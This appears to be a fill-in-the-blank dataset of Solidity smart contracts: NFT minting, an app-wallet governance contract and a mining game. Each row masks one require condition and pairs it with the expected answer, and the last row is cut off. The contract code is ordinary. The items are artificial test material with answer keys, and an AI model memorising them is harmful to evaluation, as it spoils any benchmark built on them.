| ERC721(_citizenContract).balanceOf(_msgSender())>=1,"not a citizen!" | 340,858 | ERC721(_citizenContract).balanceOf(_msgSender())>=1 |
"transfer failed" | pragma solidity ^0.8.7;
// interfaces for ENS resolving
interface ENS {
function resolver(bytes32 node) external view returns (Resolver);
}
interface Resolver {
function addr(bytes32 node) external view returns (address);
}
contract Socks is ERC721, Ownable, ReentrancyGuard {
using Strings for uint256;
using Address for address;
uint256 public constant PRICE = 0.01 ether; // price is 0.01 ether.
uint256 public constant MAX_SUPPLY = 2500;
uint256 public constant WHITELIST_SUPPLY = 1500;
// this is the ENS name hash of "socks.basicneeds.eth"
bytes32 public immutable namehash;
// keeps track of the current total supply.
uint256 public totalSupply;
// the max supply - set after
uint256 public maxSupply = MAX_SUPPLY;
// the base uri for the token
string public baseURI;
// the citizen contract
address private _citizenContract;
uint private _whitelistMinted;
bool public revealed = false;
// the ens service
ENS private ens = ENS(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e);
enum MintState {
PUBLIC,
WHITELIST,
CLOSED
}
// the state of whether minting is allowed.
MintState private mintingState = MintState.CLOSED;
constructor(bytes32 _namehash) ERC721("Charity Socks", "SOCKS") {
}
// owner can only reveal socks, they cannot
function reveal() external onlyOwner {
}
function setCitizenContract(address addr) external onlyOwner {
}
function setBaseURI(string calldata _uri) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
modifier mintOpen() {
}
modifier whitelistOnly() {
}
function ownerMint(uint256 amount) external onlyOwner {
}
function mint(uint256 amount) external payable nonReentrant mintOpen {
}
function _mint(uint256 amount, bool whitelisted) private {
Resolver resolver = ens.resolver(namehash);
// send the ether received to the deposit address
require(<FILL_ME>)
for (uint256 i = totalSupply; i < totalSupply + amount; ++i) {
_safeMint(_msgSender(), i + 1);
}
totalSupply += amount;
if (whitelisted) {
_whitelistMinted += amount;
}
}
// toggles the state of mint
function setMintingState(MintState state) external onlyOwner {
}
}
| payable(resolver.addr(namehash)).send(msg.value),"transfer failed" | 340,858 | payable(resolver.addr(namehash)).send(msg.value) |
"INVADERS: user balance exceeds max_amount" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract Invaders is ERC721 {
uint public invader_cost = 0.02 ether ; //cost of 1 invader
uint public max_amount = 51 ; //maximum invader amount/address
uint public max_supply = 10000 ; //max total supply ever
uint public start_unix = 1631237400 ; //start minting time
bool public live = true ;
address public OpenSeaRegistry_address = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
address public owner ;
uint public _totalSupply = 0 ;
constructor() ERC721("Invaders", "ALIEN") {
}
modifier onlyOwner() {
}
/**
* @dev transfer ownership of contract to newOwner
* @param newOwner new owner (note: must be EOA or implements withdraw() or funds might get lost)
*/
function transferOwnership(address newOwner) onlyOwner external {
}
/**
* @dev minting function for 1 invader
*/
function mint() public payable {
uint tokenID = totalSupply() ;
require(live, "INVADERS: minting is not live") ;
require(block.timestamp >= start_unix, "INVADERS: minting has not yet started") ;
require(msg.value >= invader_cost, "INVADERS: msg.value not enough") ;
require(_totalSupply < max_supply, "INVADERS: max supply is reached") ;
_mint(msg.sender, tokenID) ;
_totalSupply += 1 ;
require(<FILL_ME>)
}
/**
* @dev bulk mint invaders in 1 tx
* @param amount amount of invaders to mint
*/
function bulkMint(uint amount) public payable {
}
/**
* @dev mint on ether receival, automatically determines how many, division results in integer
*/
receive() payable external {
}
/**
* @dev withdraw funds from contract to receiver, only owner can call
* @param receiver, receiver of the funds (note: EOA or payable contract)
*/
function withdraw(address payable receiver) onlyOwner external {
}
/**
* @dev change live status to state, only owner can call
* @param state, state of minting process (true = live)
*/
function changeLive(bool state) onlyOwner external {
}
/**
* @dev set OpenSea registry address for ApprovedForAll, only owner can call
* @param _addr, address of OpenSea registry contract
*/
function set_registry_address(address _addr) external onlyOwner {
}
/**
* @dev OpenSea: as another option for supporting trading without requiring meta transactions, override isApprovedForAll to whitelist OpenSea proxy accounts
*/
function isApprovedForAll(
address _owner,
address _operator
) public override view returns (bool isOperator) {
}
/**
* @dev Get total amount of existent invaders
*/
function totalSupply() public view returns (uint) {
}
/**
* @dev returns baseTokenURI for metadata
*/
function baseTokenURI() public pure returns (string memory) {
}
/**
* @dev Returns an URI for a given token ID, token must exist
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
*/
function exists(uint256 _tokenId) public view returns (bool) {
}
/**
* @dev concatenate two strings a, b and c in order: a + b + c
* @param a, string a
* @param b, string b
* @param c, string c
*/
function concatenate(string memory a, string memory b, string memory c) internal pure returns (string memory) {
}
/**
* @dev convert uint to string (memory)
* @param _i, integer to convert to string
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
}
}
| balanceOf(msg.sender)<=max_amount,"INVADERS: user balance exceeds max_amount" | 340,894 | balanceOf(msg.sender)<=max_amount |
"INVADERS: max supply is reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract Invaders is ERC721 {
uint public invader_cost = 0.02 ether ; //cost of 1 invader
uint public max_amount = 51 ; //maximum invader amount/address
uint public max_supply = 10000 ; //max total supply ever
uint public start_unix = 1631237400 ; //start minting time
bool public live = true ;
address public OpenSeaRegistry_address = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
address public owner ;
uint public _totalSupply = 0 ;
constructor() ERC721("Invaders", "ALIEN") {
}
modifier onlyOwner() {
}
/**
* @dev transfer ownership of contract to newOwner
* @param newOwner new owner (note: must be EOA or implements withdraw() or funds might get lost)
*/
function transferOwnership(address newOwner) onlyOwner external {
}
/**
* @dev minting function for 1 invader
*/
function mint() public payable {
}
/**
* @dev bulk mint invaders in 1 tx
* @param amount amount of invaders to mint
*/
function bulkMint(uint amount) public payable {
require(live, "INVADERS: minting is not live") ;
require(block.timestamp >= start_unix, "INVADERS: minting has not yet started") ;
require(msg.value >= amount * invader_cost, "INVADERS: msg.value not enough") ;
require(<FILL_ME>)
for (uint i = _totalSupply; i < _totalSupply + amount; i++) {
_mint(msg.sender, i) ;
}
_totalSupply += amount ;
require(balanceOf(msg.sender) <= max_amount, "INVADERS: user balance exceeds max_amount") ;
}
/**
* @dev mint on ether receival, automatically determines how many, division results in integer
*/
receive() payable external {
}
/**
* @dev withdraw funds from contract to receiver, only owner can call
* @param receiver, receiver of the funds (note: EOA or payable contract)
*/
function withdraw(address payable receiver) onlyOwner external {
}
/**
* @dev change live status to state, only owner can call
* @param state, state of minting process (true = live)
*/
function changeLive(bool state) onlyOwner external {
}
/**
* @dev set OpenSea registry address for ApprovedForAll, only owner can call
* @param _addr, address of OpenSea registry contract
*/
function set_registry_address(address _addr) external onlyOwner {
}
/**
* @dev OpenSea: as another option for supporting trading without requiring meta transactions, override isApprovedForAll to whitelist OpenSea proxy accounts
*/
function isApprovedForAll(
address _owner,
address _operator
) public override view returns (bool isOperator) {
}
/**
* @dev Get total amount of existent invaders
*/
function totalSupply() public view returns (uint) {
}
/**
* @dev returns baseTokenURI for metadata
*/
function baseTokenURI() public pure returns (string memory) {
}
/**
* @dev Returns an URI for a given token ID, token must exist
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
*/
function exists(uint256 _tokenId) public view returns (bool) {
}
/**
* @dev concatenate two strings a, b and c in order: a + b + c
* @param a, string a
* @param b, string b
* @param c, string c
*/
function concatenate(string memory a, string memory b, string memory c) internal pure returns (string memory) {
}
/**
* @dev convert uint to string (memory)
* @param _i, integer to convert to string
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
}
}
| _totalSupply+amount<max_supply,"INVADERS: max supply is reached" | 340,894 | _totalSupply+amount<max_supply |
"App is not yet provisioned" | pragma solidity 0.5.12;
contract Gluon is Validating, Versioned, AppGovernance, GluonView, GluonWallet, HasAppOwners {
using SafeMath for uint;
struct App {
address[] history;
address proposal;
uint activationBlock;
mapping(address => uint) balances;
}
address private constant ETH = address(0x0);
uint32 private constant REGISTRY_INDEX = 0;
uint32 private constant STAKE_INDEX = 1;
mapping(uint32 => App) public apps;
mapping(address => bool) public proposals;
uint32 public totalAppsCount = 0;
event AppRegistered (uint32 appId);
event AppProvisioned(uint32 indexed appId, uint8 version, address logic);
event ProposalAdded(uint32 indexed appId, uint8 version, address logic, uint activationBlock);
event ProposalRemoved(uint32 indexed appId, uint8 version, address logic);
event Activated(uint32 indexed appId, uint8 version, address logic);
constructor(address[] memory owners, string memory version) Versioned(version) public HasAppOwners(owners) {
}
modifier onlyCurrentLogic(uint32 appId) { }
modifier provisioned(uint32 appId) { require(<FILL_ME>) _; }
function registerApp(uint32 appId, address[] calldata appOwners_) external onlyOwner { }
function registerApp_(uint32 appId, address[] memory appOwners_) private {
}
function provisionApp(uint32 appId, address logic) external onlyAppOwner(appId) validAddress(logic) {
}
function addProposal(uint32 appId, address logic) external onlyAppOwner(appId) provisioned(appId) validAddress(logic) {
}
function removeProposal(uint32 appId) external onlyAppOwner(appId) provisioned(appId) {
}
function deleteProposal(App storage app) private {
}
/************************************************* AppGovernance ************************************************/
function approve(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function disapprove(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function activate(uint32 appId) external onlyCurrentLogic(appId) provisioned(appId) {
}
/**************************************************** GluonWallet ****************************************************/
function depositEther(uint32 appId) external payable provisioned(appId) {
}
/// @notice an account must call token.approve(logic, quantity) beforehand
function depositToken(uint32 appId, address token, uint quantity) external provisioned(appId) {
}
function transferTokensToGluonSecurely(uint32 appId, Token token, uint quantity) private {
}
function withdraw(uint32 appId, bytes calldata parameters) external provisioned(appId) {
}
function transferTokensToAccountSecurely(Token token, uint quantity, address to) private {
}
function transfer(uint32 from, uint32 to, bytes calldata parameters) external provisioned(from) provisioned(to) {
}
/**************************************************** GluonView ****************************************************/
function app(uint32 appId) external view returns (address current, address proposal, uint activationBlock) {
}
function current(uint32 appId) public view returns (address) { }
function history(uint32 appId) external view returns (address[] memory) { }
function isAnyLogic(uint32 appId, address logic) public view returns (bool) {
}
function getBalance(uint32 appId, address asset) external view returns (uint) { }
}
| apps[appId].history.length>0,"App is not yet provisioned" | 340,907 | apps[appId].history.length>0 |
"App already has app owner" | pragma solidity 0.5.12;
contract Gluon is Validating, Versioned, AppGovernance, GluonView, GluonWallet, HasAppOwners {
using SafeMath for uint;
struct App {
address[] history;
address proposal;
uint activationBlock;
mapping(address => uint) balances;
}
address private constant ETH = address(0x0);
uint32 private constant REGISTRY_INDEX = 0;
uint32 private constant STAKE_INDEX = 1;
mapping(uint32 => App) public apps;
mapping(address => bool) public proposals;
uint32 public totalAppsCount = 0;
event AppRegistered (uint32 appId);
event AppProvisioned(uint32 indexed appId, uint8 version, address logic);
event ProposalAdded(uint32 indexed appId, uint8 version, address logic, uint activationBlock);
event ProposalRemoved(uint32 indexed appId, uint8 version, address logic);
event Activated(uint32 indexed appId, uint8 version, address logic);
constructor(address[] memory owners, string memory version) Versioned(version) public HasAppOwners(owners) {
}
modifier onlyCurrentLogic(uint32 appId) { }
modifier provisioned(uint32 appId) { }
function registerApp(uint32 appId, address[] calldata appOwners_) external onlyOwner { }
function registerApp_(uint32 appId, address[] memory appOwners_) private {
require(<FILL_ME>)
require(totalAppsCount == appId, "app ids are incremented by 1");
totalAppsCount++;
emit AppRegistered(appId);
addAppOwners_(appId, appOwners_);
}
function provisionApp(uint32 appId, address logic) external onlyAppOwner(appId) validAddress(logic) {
}
function addProposal(uint32 appId, address logic) external onlyAppOwner(appId) provisioned(appId) validAddress(logic) {
}
function removeProposal(uint32 appId) external onlyAppOwner(appId) provisioned(appId) {
}
function deleteProposal(App storage app) private {
}
/************************************************* AppGovernance ************************************************/
function approve(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function disapprove(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function activate(uint32 appId) external onlyCurrentLogic(appId) provisioned(appId) {
}
/**************************************************** GluonWallet ****************************************************/
function depositEther(uint32 appId) external payable provisioned(appId) {
}
/// @notice an account must call token.approve(logic, quantity) beforehand
function depositToken(uint32 appId, address token, uint quantity) external provisioned(appId) {
}
function transferTokensToGluonSecurely(uint32 appId, Token token, uint quantity) private {
}
function withdraw(uint32 appId, bytes calldata parameters) external provisioned(appId) {
}
function transferTokensToAccountSecurely(Token token, uint quantity, address to) private {
}
function transfer(uint32 from, uint32 to, bytes calldata parameters) external provisioned(from) provisioned(to) {
}
/**************************************************** GluonView ****************************************************/
function app(uint32 appId) external view returns (address current, address proposal, uint activationBlock) {
}
function current(uint32 appId) public view returns (address) { }
function history(uint32 appId) external view returns (address[] memory) { }
function isAnyLogic(uint32 appId, address logic) public view returns (bool) {
}
function getBalance(uint32 appId, address asset) external view returns (uint) { }
}
| appOwners[appId].length==0,"App already has app owner" | 340,907 | appOwners[appId].length==0 |
"failure to transfer quantity from token" | pragma solidity 0.5.12;
contract Gluon is Validating, Versioned, AppGovernance, GluonView, GluonWallet, HasAppOwners {
using SafeMath for uint;
struct App {
address[] history;
address proposal;
uint activationBlock;
mapping(address => uint) balances;
}
address private constant ETH = address(0x0);
uint32 private constant REGISTRY_INDEX = 0;
uint32 private constant STAKE_INDEX = 1;
mapping(uint32 => App) public apps;
mapping(address => bool) public proposals;
uint32 public totalAppsCount = 0;
event AppRegistered (uint32 appId);
event AppProvisioned(uint32 indexed appId, uint8 version, address logic);
event ProposalAdded(uint32 indexed appId, uint8 version, address logic, uint activationBlock);
event ProposalRemoved(uint32 indexed appId, uint8 version, address logic);
event Activated(uint32 indexed appId, uint8 version, address logic);
constructor(address[] memory owners, string memory version) Versioned(version) public HasAppOwners(owners) {
}
modifier onlyCurrentLogic(uint32 appId) { }
modifier provisioned(uint32 appId) { }
function registerApp(uint32 appId, address[] calldata appOwners_) external onlyOwner { }
function registerApp_(uint32 appId, address[] memory appOwners_) private {
}
function provisionApp(uint32 appId, address logic) external onlyAppOwner(appId) validAddress(logic) {
}
function addProposal(uint32 appId, address logic) external onlyAppOwner(appId) provisioned(appId) validAddress(logic) {
}
function removeProposal(uint32 appId) external onlyAppOwner(appId) provisioned(appId) {
}
function deleteProposal(App storage app) private {
}
/************************************************* AppGovernance ************************************************/
function approve(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function disapprove(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function activate(uint32 appId) external onlyCurrentLogic(appId) provisioned(appId) {
}
/**************************************************** GluonWallet ****************************************************/
function depositEther(uint32 appId) external payable provisioned(appId) {
}
/// @notice an account must call token.approve(logic, quantity) beforehand
function depositToken(uint32 appId, address token, uint quantity) external provisioned(appId) {
}
function transferTokensToGluonSecurely(uint32 appId, Token token, uint quantity) private {
uint balanceBefore = token.balanceOf(address(this));
require(<FILL_ME>)
uint balanceAfter = token.balanceOf(address(this));
require(balanceAfter.minus(balanceBefore) == quantity, "bad Token; transferFrom erroneously reported of successful transfer");
App storage app = apps[appId];
app.balances[address(token)] = app.balances[address(token)].plus(quantity);
}
function withdraw(uint32 appId, bytes calldata parameters) external provisioned(appId) {
}
function transferTokensToAccountSecurely(Token token, uint quantity, address to) private {
}
function transfer(uint32 from, uint32 to, bytes calldata parameters) external provisioned(from) provisioned(to) {
}
/**************************************************** GluonView ****************************************************/
function app(uint32 appId) external view returns (address current, address proposal, uint activationBlock) {
}
function current(uint32 appId) public view returns (address) { }
function history(uint32 appId) external view returns (address[] memory) { }
function isAnyLogic(uint32 appId, address logic) public view returns (bool) {
}
function getBalance(uint32 appId, address asset) external view returns (uint) { }
}
| token.transferFrom(msg.sender,address(this),quantity),"failure to transfer quantity from token" | 340,907 | token.transferFrom(msg.sender,address(this),quantity) |
"bad Token; transferFrom erroneously reported of successful transfer" | pragma solidity 0.5.12;
contract Gluon is Validating, Versioned, AppGovernance, GluonView, GluonWallet, HasAppOwners {
using SafeMath for uint;
struct App {
address[] history;
address proposal;
uint activationBlock;
mapping(address => uint) balances;
}
address private constant ETH = address(0x0);
uint32 private constant REGISTRY_INDEX = 0;
uint32 private constant STAKE_INDEX = 1;
mapping(uint32 => App) public apps;
mapping(address => bool) public proposals;
uint32 public totalAppsCount = 0;
event AppRegistered (uint32 appId);
event AppProvisioned(uint32 indexed appId, uint8 version, address logic);
event ProposalAdded(uint32 indexed appId, uint8 version, address logic, uint activationBlock);
event ProposalRemoved(uint32 indexed appId, uint8 version, address logic);
event Activated(uint32 indexed appId, uint8 version, address logic);
constructor(address[] memory owners, string memory version) Versioned(version) public HasAppOwners(owners) {
}
modifier onlyCurrentLogic(uint32 appId) { }
modifier provisioned(uint32 appId) { }
function registerApp(uint32 appId, address[] calldata appOwners_) external onlyOwner { }
function registerApp_(uint32 appId, address[] memory appOwners_) private {
}
function provisionApp(uint32 appId, address logic) external onlyAppOwner(appId) validAddress(logic) {
}
function addProposal(uint32 appId, address logic) external onlyAppOwner(appId) provisioned(appId) validAddress(logic) {
}
function removeProposal(uint32 appId) external onlyAppOwner(appId) provisioned(appId) {
}
function deleteProposal(App storage app) private {
}
/************************************************* AppGovernance ************************************************/
function approve(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function disapprove(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function activate(uint32 appId) external onlyCurrentLogic(appId) provisioned(appId) {
}
/**************************************************** GluonWallet ****************************************************/
function depositEther(uint32 appId) external payable provisioned(appId) {
}
/// @notice an account must call token.approve(logic, quantity) beforehand
function depositToken(uint32 appId, address token, uint quantity) external provisioned(appId) {
}
function transferTokensToGluonSecurely(uint32 appId, Token token, uint quantity) private {
uint balanceBefore = token.balanceOf(address(this));
require(token.transferFrom(msg.sender, address(this), quantity), "failure to transfer quantity from token");
uint balanceAfter = token.balanceOf(address(this));
require(<FILL_ME>)
App storage app = apps[appId];
app.balances[address(token)] = app.balances[address(token)].plus(quantity);
}
function withdraw(uint32 appId, bytes calldata parameters) external provisioned(appId) {
}
function transferTokensToAccountSecurely(Token token, uint quantity, address to) private {
}
function transfer(uint32 from, uint32 to, bytes calldata parameters) external provisioned(from) provisioned(to) {
}
/**************************************************** GluonView ****************************************************/
function app(uint32 appId) external view returns (address current, address proposal, uint activationBlock) {
}
function current(uint32 appId) public view returns (address) { }
function history(uint32 appId) external view returns (address[] memory) { }
function isAnyLogic(uint32 appId, address logic) public view returns (bool) {
}
function getBalance(uint32 appId, address asset) external view returns (uint) { }
}
| balanceAfter.minus(balanceBefore)==quantity,"bad Token; transferFrom erroneously reported of successful transfer" | 340,907 | balanceAfter.minus(balanceBefore)==quantity |
"not enough funds to transfer" | pragma solidity 0.5.12;
contract Gluon is Validating, Versioned, AppGovernance, GluonView, GluonWallet, HasAppOwners {
using SafeMath for uint;
struct App {
address[] history;
address proposal;
uint activationBlock;
mapping(address => uint) balances;
}
address private constant ETH = address(0x0);
uint32 private constant REGISTRY_INDEX = 0;
uint32 private constant STAKE_INDEX = 1;
mapping(uint32 => App) public apps;
mapping(address => bool) public proposals;
uint32 public totalAppsCount = 0;
event AppRegistered (uint32 appId);
event AppProvisioned(uint32 indexed appId, uint8 version, address logic);
event ProposalAdded(uint32 indexed appId, uint8 version, address logic, uint activationBlock);
event ProposalRemoved(uint32 indexed appId, uint8 version, address logic);
event Activated(uint32 indexed appId, uint8 version, address logic);
constructor(address[] memory owners, string memory version) Versioned(version) public HasAppOwners(owners) {
}
modifier onlyCurrentLogic(uint32 appId) { }
modifier provisioned(uint32 appId) { }
function registerApp(uint32 appId, address[] calldata appOwners_) external onlyOwner { }
function registerApp_(uint32 appId, address[] memory appOwners_) private {
}
function provisionApp(uint32 appId, address logic) external onlyAppOwner(appId) validAddress(logic) {
}
function addProposal(uint32 appId, address logic) external onlyAppOwner(appId) provisioned(appId) validAddress(logic) {
}
function removeProposal(uint32 appId) external onlyAppOwner(appId) provisioned(appId) {
}
function deleteProposal(App storage app) private {
}
/************************************************* AppGovernance ************************************************/
function approve(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function disapprove(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function activate(uint32 appId) external onlyCurrentLogic(appId) provisioned(appId) {
}
/**************************************************** GluonWallet ****************************************************/
function depositEther(uint32 appId) external payable provisioned(appId) {
}
/// @notice an account must call token.approve(logic, quantity) beforehand
function depositToken(uint32 appId, address token, uint quantity) external provisioned(appId) {
}
function transferTokensToGluonSecurely(uint32 appId, Token token, uint quantity) private {
}
function withdraw(uint32 appId, bytes calldata parameters) external provisioned(appId) {
(address asset, uint quantity) = AppLogic(current(appId)).debit(msg.sender, parameters);
if (quantity > 0) {
App storage app = apps[appId];
require(<FILL_ME>)
app.balances[asset] = apps[appId].balances[asset].minus(quantity);
asset == ETH ?
require(address(uint160(msg.sender)).send(quantity), "failed to transfer ether") : // explicit casting to `address payable`
transferTokensToAccountSecurely(Token(asset), quantity, msg.sender);
}
}
function transferTokensToAccountSecurely(Token token, uint quantity, address to) private {
}
function transfer(uint32 from, uint32 to, bytes calldata parameters) external provisioned(from) provisioned(to) {
}
/**************************************************** GluonView ****************************************************/
function app(uint32 appId) external view returns (address current, address proposal, uint activationBlock) {
}
function current(uint32 appId) public view returns (address) { }
function history(uint32 appId) external view returns (address[] memory) { }
function isAnyLogic(uint32 appId, address logic) public view returns (bool) {
}
function getBalance(uint32 appId, address asset) external view returns (uint) { }
}
| app.balances[asset]>=quantity,"not enough funds to transfer" | 340,907 | app.balances[asset]>=quantity |
"failure to transfer quantity from token" | pragma solidity 0.5.12;
contract Gluon is Validating, Versioned, AppGovernance, GluonView, GluonWallet, HasAppOwners {
using SafeMath for uint;
struct App {
address[] history;
address proposal;
uint activationBlock;
mapping(address => uint) balances;
}
address private constant ETH = address(0x0);
uint32 private constant REGISTRY_INDEX = 0;
uint32 private constant STAKE_INDEX = 1;
mapping(uint32 => App) public apps;
mapping(address => bool) public proposals;
uint32 public totalAppsCount = 0;
event AppRegistered (uint32 appId);
event AppProvisioned(uint32 indexed appId, uint8 version, address logic);
event ProposalAdded(uint32 indexed appId, uint8 version, address logic, uint activationBlock);
event ProposalRemoved(uint32 indexed appId, uint8 version, address logic);
event Activated(uint32 indexed appId, uint8 version, address logic);
constructor(address[] memory owners, string memory version) Versioned(version) public HasAppOwners(owners) {
}
modifier onlyCurrentLogic(uint32 appId) { }
modifier provisioned(uint32 appId) { }
function registerApp(uint32 appId, address[] calldata appOwners_) external onlyOwner { }
function registerApp_(uint32 appId, address[] memory appOwners_) private {
}
function provisionApp(uint32 appId, address logic) external onlyAppOwner(appId) validAddress(logic) {
}
function addProposal(uint32 appId, address logic) external onlyAppOwner(appId) provisioned(appId) validAddress(logic) {
}
function removeProposal(uint32 appId) external onlyAppOwner(appId) provisioned(appId) {
}
function deleteProposal(App storage app) private {
}
/************************************************* AppGovernance ************************************************/
function approve(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function disapprove(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function activate(uint32 appId) external onlyCurrentLogic(appId) provisioned(appId) {
}
/**************************************************** GluonWallet ****************************************************/
function depositEther(uint32 appId) external payable provisioned(appId) {
}
/// @notice an account must call token.approve(logic, quantity) beforehand
function depositToken(uint32 appId, address token, uint quantity) external provisioned(appId) {
}
function transferTokensToGluonSecurely(uint32 appId, Token token, uint quantity) private {
}
function withdraw(uint32 appId, bytes calldata parameters) external provisioned(appId) {
}
function transferTokensToAccountSecurely(Token token, uint quantity, address to) private {
uint balanceBefore = token.balanceOf(to);
require(<FILL_ME>)
uint balanceAfter = token.balanceOf(to);
require(balanceAfter.minus(balanceBefore) == quantity, "bad Token; transferFrom erroneously reported of successful transfer");
}
function transfer(uint32 from, uint32 to, bytes calldata parameters) external provisioned(from) provisioned(to) {
}
/**************************************************** GluonView ****************************************************/
function app(uint32 appId) external view returns (address current, address proposal, uint activationBlock) {
}
function current(uint32 appId) public view returns (address) { }
function history(uint32 appId) external view returns (address[] memory) { }
function isAnyLogic(uint32 appId, address logic) public view returns (bool) {
}
function getBalance(uint32 appId, address asset) external view returns (uint) { }
}
| token.transfer(to,quantity),"failure to transfer quantity from token" | 340,907 | token.transfer(to,quantity) |
"not enough balance in logic to transfer" | pragma solidity 0.5.12;
contract Gluon is Validating, Versioned, AppGovernance, GluonView, GluonWallet, HasAppOwners {
using SafeMath for uint;
struct App {
address[] history;
address proposal;
uint activationBlock;
mapping(address => uint) balances;
}
address private constant ETH = address(0x0);
uint32 private constant REGISTRY_INDEX = 0;
uint32 private constant STAKE_INDEX = 1;
mapping(uint32 => App) public apps;
mapping(address => bool) public proposals;
uint32 public totalAppsCount = 0;
event AppRegistered (uint32 appId);
event AppProvisioned(uint32 indexed appId, uint8 version, address logic);
event ProposalAdded(uint32 indexed appId, uint8 version, address logic, uint activationBlock);
event ProposalRemoved(uint32 indexed appId, uint8 version, address logic);
event Activated(uint32 indexed appId, uint8 version, address logic);
constructor(address[] memory owners, string memory version) Versioned(version) public HasAppOwners(owners) {
}
modifier onlyCurrentLogic(uint32 appId) { }
modifier provisioned(uint32 appId) { }
function registerApp(uint32 appId, address[] calldata appOwners_) external onlyOwner { }
function registerApp_(uint32 appId, address[] memory appOwners_) private {
}
function provisionApp(uint32 appId, address logic) external onlyAppOwner(appId) validAddress(logic) {
}
function addProposal(uint32 appId, address logic) external onlyAppOwner(appId) provisioned(appId) validAddress(logic) {
}
function removeProposal(uint32 appId) external onlyAppOwner(appId) provisioned(appId) {
}
function deleteProposal(App storage app) private {
}
/************************************************* AppGovernance ************************************************/
function approve(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function disapprove(uint32 appId) external onlyCurrentLogic(STAKE_INDEX) {
}
function activate(uint32 appId) external onlyCurrentLogic(appId) provisioned(appId) {
}
/**************************************************** GluonWallet ****************************************************/
function depositEther(uint32 appId) external payable provisioned(appId) {
}
/// @notice an account must call token.approve(logic, quantity) beforehand
function depositToken(uint32 appId, address token, uint quantity) external provisioned(appId) {
}
function transferTokensToGluonSecurely(uint32 appId, Token token, uint quantity) private {
}
function withdraw(uint32 appId, bytes calldata parameters) external provisioned(appId) {
}
function transferTokensToAccountSecurely(Token token, uint quantity, address to) private {
}
function transfer(uint32 from, uint32 to, bytes calldata parameters) external provisioned(from) provisioned(to) {
(address asset, uint quantity) = AppLogic(current(from)).debit(msg.sender, parameters);
if (quantity > 0) {
if (from != to) {
require(<FILL_ME>)
apps[from].balances[asset] = apps[from].balances[asset].minus(quantity);
apps[to].balances[asset] = apps[to].balances[asset].plus(quantity);
}
AppLogic(current(to)).credit(msg.sender, asset, quantity);
}
}
/**************************************************** GluonView ****************************************************/
function app(uint32 appId) external view returns (address current, address proposal, uint activationBlock) {
}
function current(uint32 appId) public view returns (address) { }
function history(uint32 appId) external view returns (address[] memory) { }
function isAnyLogic(uint32 appId, address logic) public view returns (bool) {
}
function getBalance(uint32 appId, address asset) external view returns (uint) { }
}
| apps[from].balances[asset]>=quantity,"not enough balance in logic to transfer" | 340,907 | apps[from].balances[asset]>=quantity |
null | pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
}
}
//-----------------------------------------------------------------------
contract RigIdle {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] rigs; // rig types and their upgrades
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct RigData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
RigData[9] private rigData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
// honey pot variables
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct; // 90%
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
//booster info
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RigIdle() public {
}
//--------------------------------------------------------------------------
// Data access functions
//--------------------------------------------------------------------------
function GetMinerData(address minerAddr) public constant returns
